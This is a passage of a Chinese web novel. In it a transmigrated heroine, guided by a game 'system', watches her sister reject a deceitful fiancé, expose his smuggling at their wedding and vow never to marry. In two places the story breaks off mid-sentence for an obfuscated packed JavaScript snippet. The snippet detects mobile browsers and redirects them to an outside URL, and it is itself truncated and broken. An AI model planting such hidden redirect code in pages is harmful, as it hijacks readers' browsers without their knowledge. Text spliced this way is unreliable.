因为这一段太过私密,她当时没有告诉过金桃,哪怕前面是金桃根据她的讲述捏造的谎言,但这一刻,杜含章已经相信金桃并没有骗她。 金桃从袖中取出一幅卷轴:“虽然我对柳如琢已经没有感情了,不过这幅画我当做念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229693|172154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,就装裱好留了下来。” 画纸展开的瞬间,杜含章心头一震。 她几乎是下意识地转身取出自己那幅画像,两相对照,不禁手指发颤。 果然,一模一样。 难怪之前杜含章觉得画像似她又不似她…… 因为柳如琢画的根本不是她,也不是金桃,他画的恐怕是他内心中期待的完美女子的形象。 而她自己,不过是柳如琢绮梦里的“角色”罢了。 杜含章指尖紧攥着画纸,许久无声。 金桃缓缓道:“我曾经也以为,柳公子对我一片深情,只不过因我是个戏子,所以才没有在一起。后来我看见你们郎才女貌,我还心中庆幸,柳公子终于找到了他的心爱之人。可那日,你跟我讲述完你们的相识过程,我却发现柳如琢对你做的一切,跟对我做的几乎一样,如今,甚至连这幅画像都是一个模子刻出来的……” 金桃顿了顿,又忍不住道:“含章姐姐,我多说一句,你别见怪。我在戏班里见惯了三教九流,也听腻了男人的情话。有的说给要我赎身,有的承诺纳我为妾,结果不是不了了之,就是酒醒后不认账,或者早就妻妾成群……我不愿过那样的日子,所以宁愿留在戏班,和翠翘相依为命。时间久了,我也看懂了——男人的话,终究靠不住。” 她有些歉疚道:“这件事我原不想说,可你们突然提前成婚,毕竟是为了救我跟翠翘,我过不了心里这一关,所以还是决定把这一切告诉你。含章姐姐,你如何抉择,我都会支持你的,但请你,一定要问清楚自己的心。” 说罢,金桃微一颔首,转身离去。 屋内重归寂静。 这一刻,杜含章突然觉得自己心中所编织的《牡丹亭》美梦轰然崩塌,就连柳如琢那完美的神像也碎成齑粉。 她曾以为自己是杜丽娘,柳如琢是命定的柳梦梅,可如今才知,那不过是自己的痴念,是柳如琢的一场戏罢了。 杜含章彻底陷入了混乱,以至于浪漫爱法则对她都已不再奏效,她甚至无法再想出一个说辞来,给柳如琢重塑金身。 * 而此刻,屋顶之上,姜婋将方才的一切都看在眼里。 她万万没想到,柳如琢与金桃之间竟有这样的过往。 她立刻问系统:“原著中,金桃在后宅欺负杜含章,难道金桃之所以变得尖酸刻薄,是因为她早就认识柳如琢,还觉得是杜含章夺了她的位置?” 系统:“玩家,你的推测极有可能。但这篇小说是站在女男主的角度来讲述,金桃不过是个‘恶毒女配’的存在。至于她如何走到那一步,背后有什么委屈与心酸,并不在本文内容之中。” 姜婋愤然道:“浪漫爱的故事,根本就是一个精心包装的杀猪盘。为了女主和男主的感情线,就可牺牲所有人,为了衬托男主的高光形象,不惜无视律法、不问公理,连最基本的善恶是非都能颠倒。不行!我绝不能眼睁睁看着姐姐嫁给柳如琢!” 她说着,当即跃下屋顶。 系统连忙提醒:“玩家,女主此刻情绪极为混乱,若你冒然劝说,恐怕适得其反。她需要的是空间和时间,来做出真正属于她自己的选择。” 姜婋拳头紧握:“那我就做好准备。就算姐姐最后执意要嫁,我也要想办法,让这场婚结不成!” 87.27 那一晚,姜婋磨刀霍霍,在脑海中演练了无数种劫亲的方案。 但系统声音冷不丁响起:“玩家,若想通关成功,关键不在于你强行带走女主,而在于她是否愿意自己走出这场浪漫爱安排的婚礼。” 姜婋叹了口气,她明白,就算她能从婚宴上抢走姐姐的“人”,若抢不走她的“心“,仍是功亏一篑。 “系统,我姐姐现在在做什么?” 一瞬间,她置身于心流世界。 360度环形屏幕中,杜含章在金桃离开后静坐良久,随后拿起宾客名单逐一审阅,又仔细检查明日所穿的嫁衣。 最后,她穿上嫁衣,对镜自画。 看到这一幕,姜婋愣住了。 “怎么回事?难道姐姐得知真相,却还要嫁给柳如琢?” 记忆的闸门瞬间打开,一段并不美好的回忆闯入她的脑海。 读研时,她的大学室友结婚之前曾经给她打过一个电话。 那时姜婋在计算机实验室里,正在做一个非常关键的算法测试,可当她看到来电人的名字时,立刻接起了电话。 室友告诉她,明天要领证了,可是她突然有一点害怕。 姜婋劝她冷静,千万别仓促结婚,做任何选择之前一定要问自己的内心,不要盲从社会时钟的要求…… 她劝了很久,甚至因为这通电话错过了那场实验。 可第二天补做完实验,她一打开朋友圈,却看到那位室友已经晒出了结婚证的照片。 从那以后,两人再无联系。 姜婋始终记得那种无力的感觉。 因为这件事,她一直认为,婚姻是一道天堑,隔开了女性们之间的情谊。仿佛有一股力量在向女性们灌输,你的婚姻是最重要的,你的事业、友谊、亲人都是可以割舍的。 姜婋喃喃问道:“系统,如果姐姐执意要和柳如琢成亲,那是不是就意味着,我闯关失败了?” 系统:“玩家,故事还未结束,总会转机的。” 姜婋叹息:“可姐姐若不改变心意,又何来转机呢?” 她望向屏幕,那一晚,杜含章一夜未眠, 直到晨光熹微,她才放下笔。 杜含章望着纸上的自画像,终于露出了一丝释然的笑容。 * 成亲当日,喜乐绕府,红烛连绵,整座杜宅热闹得像要烧起来似的。 姜婋像个局外人,冷眼旁观这场盛大无比的仪式。 她听到迎亲的队伍锣鼓震天,唢呐呜哩呜哩地响着,一声高过一声,仿佛催魂的索命铃。 姜婋冲进房门:“姐姐,如果你不想成亲,我现在就带你走!” 可杜含章却微微一笑,握住她的手:“婋婋,你在说什么呢?今天是我出嫁的大喜日子,你怎么一脸愁容?难道不该为姐姐高兴吗?” 姜婋急得直跺脚:“姐,难道昨晚我对你说的那些话,你全忘了吗?柳如琢他根本就——” 杜含章轻声打断:“我知道。你为了我,冒险去偷账册,还一次次挡在我前头,我都记在心里。但这场婚礼,我必须去。” 她的眼神太过坚定,让姜婋都一时愣住了。 * 这时,喜娘走上前来,将红盖头覆在杜含章的华冠之上。 她没有再回头,任由人搀扶着,踏出房门。 姜婋站在原地,只觉胸口一紧。 好像她与姐姐明明近在咫尺,却像是隔着万丈鸿沟。 她追出去,站在侧廊的阴影里,看着杜含章被首饰和华服压得她步履缓慢,像个提线木偶,被素书扶上花轿,宛如走进一座错彩镂金的大牢。 花轿外头全是看热闹的人脸,认识的、不认识的、笑的、哭的、扭曲变形,所有人都被一种盛大而虚妄的喜悦所蛊惑,陷入集体狂欢。 可那些人中,明明很多人已经结了婚,她们应当知道结婚并不是那回事,但还是假装欢喜,或者说是幸灾乐祸的癫狂。 姜婋觉得,这不是一场婚礼,而是她自己的葬礼。 若杜含章执意嫁给柳如琢,那她这一关注定闯不过。而她若失败,就意味着现实世界中的她,将无法逃脱死亡的命运…… 难道自己就这样死了吗? 就在这里止步不前了吗? * 喜轿前行,沿途经过杜记棉庄的店铺。 熟人们叫嚷道:“杜家的女儿今日真是风光啊,嫁了个新科进士!” 姜婋疑惑:杜含章的风光为何并不来源于她自身,而来源于她嫁给了谁? * 伴随着一路敲锣打鼓,喜轿终于到达柳府。 杜含章在喜娘的搀扶下跨火盆、撒五谷、牵红绳,这才进入宅内。 火舌舔过杜含章的绣鞋,五谷豆子砸向她的盖头,红绳拴住她的手腕,每一步,都似在完成一种任由他人随意处置的服从性测试。 姜婋看着火盆许久,在系统的多次警报提醒下,才忍住没有烧掉整座柳宅。 媒婆、喜娘、宾客们,一张张嘴在喊:“柳夫人!” 杜含章从此不再是她了,她成了“柳夫人”。 这场婚礼像是一座绣满锦缎的祭坛,杜含章就是那被装点得金贵的贡品。 * 接着是整场婚礼的重头戏——拜堂。 人们都知道,这一对新婚的男女今晚要圆房了。但话不能明说,只好笑得更大声,闹得更欢腾。 主婚官高声道:“一拜天地——” 杜含章拖着沉重如铅的华冠,垂首一拜。 “二拜高堂——” 她转身,朝堂上严仪行礼。 “夫妻对拜——” 就在此时,人群中忽然有人高声喊道:“等一下!” 众人哗然,喜乐骤停。 姜婋拨开人群,冲上前去,一身劲装格外刺眼。 她深吸一口气,盯着那抹红盖头,问道:“姐姐,你想不想去喝盐笋芝麻木樨泡茶?” 这像是一句邀请,又像是一句无力的挽回,以至于姜婋说出口的时候,眼角已经流出了一滴泪。 场面静得出奇。 喜娘和主婚官面面相觑,不知是否该阻拦。 柳如琢也蹙起眉头,眼神中闪过不耐烦的神色。 所有人都不懂这句话的含义,唯有杜含章跟姜婋懂得,那是她们对闺阁礼教的第一次反抗,是只属于她们之间的逃跑暗号。 片刻的沉默后,红盖头下,一滴清泪悄然落在喜服的衣襟。 * 就在这时,柳府门外忽然传来一阵骚动。 有人高呼:“御史大人到了!” 只见一位身着官服的老者,笑容可掬道:“本官没来迟吧?” 柳如琢忙躬身行礼:“小人的婚礼能得大人莅临,实在蓬荜生辉。” 卢大人也笑道:“巡按监察御史大人来得正好,新人正要拜天地。” 御史大人捋须笑道:“还好没错过,本官最爱看新人拜堂了。” 正说话间,忽见杜含章掀开了红盖头。 人群顿时一片哗然: “哎呀,新娘子怎么掀盖头了?” “盖头一掀,祸端必生。这可不吉利!” 众目睽睽之下,杜含章来到姜婋身边,握住她的手,用只有两人能听清的声音说道: “妹妹,还记得我们的誓言吗?我永远是你最安稳的依靠。一直以来,你为我做了太多,反而你像我的姐姐,可这一次,就换我来保护你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜婋目光一凛:“说漏嘴了吧?那些账目全是你和卢家联手伪造的。如今东窗事发,你倒反咬我姐姐一口?大人,我姐姐之所以忍辱负重,今天不惜毁了婚宴也要告发柳如琢,就是担心官官相护,投诉无门。还望御史大人为我们伸冤!” 她话音一落,满堂宾客齐齐望向御史。 众目睽睽之下,纵使这御史大人和卢家有些交情,也不敢有所偏颇。 他思虑半晌道:“此事本官会彻查。来人,将嫌犯带走,本官要细细审问!” 衙役应声而上,将柳如琢与卢大人一同押下。 临行前,柳如琢回头死死盯着杜含章,咬牙问道:“含章,难道你真忍心看我被抓?我们曾经那般深情,你为何如此对我?” 杜含章起身,声音平静道:“是啊,我们曾经那般‘深情’,你为何如此对我……杜记棉庄是我爹娘倾尽一生所创,是为了让百姓有衣可穿,可你却只想把棉庄据为己有,成为你谋取暴利的手段,加官进爵的筹码。” 她缓步上前,盯着柳如琢道:“我也曾反复问自己,你是否还是我初见时那个温文尔雅的柳如琢。但想了许久,我还是想不明白,你究竟是入了官场变成这样,还是你本就如此……但我昨夜终于顿悟,有些事情或许就是想不通的。与其把时间和精力浪费在分析你这个人身上,不如想清楚自己的心。” 她轻轻一叹:“柳如琢,你是什么样的人,我已经不在乎了。但我是什么样的人,我想清楚了。我无法容忍你把杜记棉庄变成藏污纳垢之地,也不能允许你把婚姻变成一场彻头彻尾的利益交换。我今日的选择,只求问心无愧。” 杜含章说罢,脱下嫁衣,转身而去。 这一刻,杜含章终于迈出了属于她的人生之路。 88.28 直到夜里回到姐妹屋,姜婋还是没缓过神,仍觉得婚礼上发生的一切,像一场梦般跌宕起伏。 她一进房,就拉住杜含章问:“姐姐,今天发生的这一切……你早就计划好了?” 杜含章点头:“自你告诉我真相之后,我就开始筹谋对策。但走私之事,牵连重大,又涉及卢家,若贸然报官,恐怕华亭知府也会徇私包庇。到时候,我们的下场,只怕会和金桃翠翘一样被反咬一口。为了你,为了姐妹屋,为了棉庄,我必须想一个万无一失的法子。” “昨天素书拿来了柳如琢宴请宾客的名单,我无意间看到按察司巡按御史的名字。我曾听过此人断案清名。而且在婚宴上告发,是最好的时机,只有目睹这件事情的人越多,这位御史大人就越不敢包庇,所以我便赌了一次!” 姜婋听完,心中五味杂陈:“那姐姐为何不早点告诉我?我还以为你……你真的要嫁给柳如琢呢……” 杜含章握住她的手:“因为我也不确定能不能成功。若失败了,我怕牵连你。” 姜婋沉默了片刻,又问:“那姐姐……你还喜欢柳如琢吗?” 杜含章轻叹:“也许一开始我对柳如琢的喜欢就是错位的,我把对爱情的想象,和对《牡丹亭》以及杜丽娘的情感,倾注在了一个男人的身上。” “昨夜我也反复思索,柳如琢为什么会欺骗我?为什么会做出走私贩卖的事情?可我想了很久也无法参透,索性也不再去想,再想下去只是给自己徒增烦恼,画地为牢……” 她顿了顿,语气渐缓:“但我昨夜给自己画了一幅自画像,一边画,一边问自己——我是谁?我这一生要怎样活?在别人眼中,我是杜家的大小姐,还差点成为了柳夫人,可若没有父亲、丈夫给我的这些身份标签,那我又是谁呢?” 她看向姜婋,目光发亮:“我突然想起,我们曾在闺阁中重修《列女传》,我们见过那么多风采卓越的女子,让我不禁思考,如果我的一生也会被人书写,那我的墓志铭会是什么?某某之女,某某之妻,某某之母吗?” 她摇了摇头:“直到画完那幅画,我才明白,也许一直以来我所担心的、恐惧的,就是因为不知道我是谁,所以我把这份不安和对人生的困惑,都寄托在了一个理想的自我——柳如琢身上。” “他金榜题名,仿佛我也金榜题名。他风光得意,好像我也得到肯定。可当我看清他的真面目,我就再也无法忍受那份理想的自我被玷污。所以,我只能亲手打破自己的幻想……” 姜婋听得震撼,良久才道:“姐姐,你今日所做之事,已经足以载入《列女传》了。” 杜含章莞尔:“我其实也没做什么,只是不想违背自己的本心罢了。” 姜婋忙问:“那之后呢,姐姐你有什么打算吗?” 杜含章眼里闪过一丝调皮:“你不是都说了吗?” “我?” “对啊。你问我想不想去喝木樨茶,那明天就去吧。” 姜婋粲然一笑:“好!” * 姜婋走出屋外,只觉心头畅快。 她立刻在脑海中呼叫系统:“没想到,我担心得要命的那场婚礼危机,居然被女主自己化解了!一直以来,我总是站在女主前面,替她大包大揽,扫清一切障碍。可现在才发现,原来她也一直站在我身后,替我考虑了那么多。看来,是我太小瞧我的女主了……” 系统:“玩家,这是因为你在初入副本时,就在女主心中种下了女性信任与互助的种子。你不仅改变了她的情感轨迹,也改写了她命运的走向。” 姜婋眼睛一亮:“那我是不是……算闯关成功了?” “暂时还没有。女主只是摆脱了婚姻的束缚,否定了一条原有的叙事路径。但她尚未找到属于自己的人生方向。” 系统:“玩家,脱离浪漫爱,并不等于找到人生之路。” 闻言,姜婋并不气馁:“我姐姐这么有才华,又有经商天赋,还那么有主见,我相信——她很快就会找到的!” * 次日,春光和煦。 姜婋与杜含章并肩走进品茗居,选了靠窗一席,点了两盏木樨茶。 不远处,一桌闲汉正低声交谈。 “听说昨日,御史大人在市舶司仓库里查出一大批有问题布料。恐怕卢家和柳家倒霉了。” 说罢,还不忘偷偷朝两人这边瞥上一眼。 不仅是他们,连路过的茶客也时不时侧目而视,窃窃私语。 姜婋低声道:“姐姐,不如我们买回去喝吧?” 杜含章轻啜一口,笑意盈盈:“为何?今日春色正好,这么快回去,岂不可惜?” 姜婋皱眉:“可周围这些目光……我怕扰了姐姐的兴致。” 杜含章环顾四周,忽而眼神一亮:“难得有这么多关注,不如好好利用。” “什么?”姜婋一愣。 只见杜含章从容起身,站于茶楼中央,大方开口道: “各位乡亲,我想你们多半听说了,杜记棉庄险些落入黑心人之手,好在及时发现,又有御史大人秉公办案。如今,杜记棉庄已回到我手中。 “棉庄创立之初,就是为了让华亭百姓都有衣可穿。这一初心至今未改,今后也不会改。我在此承诺,杜记棉庄十年不涨价,货真价实,绝不欺瞒。若是诸位家中女眷需要贴身衣物,也可来姐妹棉庄,我们两家为一体,质量皆有保证。” 她举起茶盏:“今日在座的茶钱我都请了,还望各位多光顾杜记棉庄的生意!我以茶代酒,谢过大家了。” 说罢,杜含章一饮而尽。 一时间,茶楼内掌声雷动。 “杜小姐真有气魄,只是可惜了,遇人不淑!” “有杜家两位小姐经营棉庄,我们放心!” * 杜含章一一谢过 ,然后从容落座,继续品茶。 这回换姜婋呆住了:“姐姐……你也太聪明了!居然想到利用这些关注度,给棉庄打广告!” “是你教我的呀。” 杜含章轻笑,“我还记得那天你站在桌上大喊——我杜暮晓此生不嫁。不依附任何男人,不做谁的妻子。一生一世,只陪我姐姐,彼此为伴。” 姜婋嘿然一笑:“姐姐,你倒是学得快。” 杜含章忽然认真起来:“我也决定了,此生不嫁。” “咳……”姜婋一口茶差点没喷出来,“你是说真的 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,请上香吧。” 杜含章环顾四周,却见案上无祖牌、无神佛,唯有那面铜镜。 她问道:“这拜的是谁?” 姜婋笑道:“拜的不是别人,是你自己。看清内心,听从本愿。从今以后,你就是你人生的主人。” 杜含章了然,燃香立誓:“我杜含章,自今日起,为自梳女,从此自掌命运。不为父命所束,不为夫名所囿,不为子嗣所困。” “无论逆境或顺境,贫贱或富贵,疾病或安康;无论发生什么,纵使亲人离散,家道中落。哪怕山河易主,王朝覆灭……我杜含章此生,与姐妹屋的姐妹并肩同行,祸福与共,生死不弃。” 她话音落下,众姐妹齐声道:“我此生与姐妹屋的姐妹并肩同行,祸福与共,生死不弃。” 姜婋上前,搀她起身道:“从今往后,姐姐你就是姐妹屋的一员了。” 杜含章轻笑:“仪式就算完成了吗?” 姜婋展颜:“还差最后一步呢——” 说着,她从身后取出一支桂花,簪于杜含章鬓边道:“这是簪花礼。每位姐妹都会选一种花,献上她对你的祝福。这枝桂花是我选的,愿姐姐你清雅如桂,自成芬芳。无论何时何地,我们都能一起去喝你最爱的木樨茶!” 杜含章展颜:“好。” 随后,姐妹们依次上前,为她簪花。 素书执一枝兰花,认真道:“我送的是兰花。姐姐教我识字、又教我做生意,在我心中,你一直如兰花般淡泊高雅。” 她说罢,将兰花轻插入髻间。 金桃手捧一朵牡丹,笑盈盈道:“《牡丹亭》中写了十二花神,每一种我都想送你,但最后还是选了牡丹。因为姐姐不畏强权,真乃花中之王。” 她一边簪花一边道:“太好了,以后我们可以天天聊杜丽娘啦!” 当最后一朵花簪上,杜含章的发髻上已缀满花朵。 她抬眸看向铜镜,只见镜中之人眉目依旧,却宛如新生。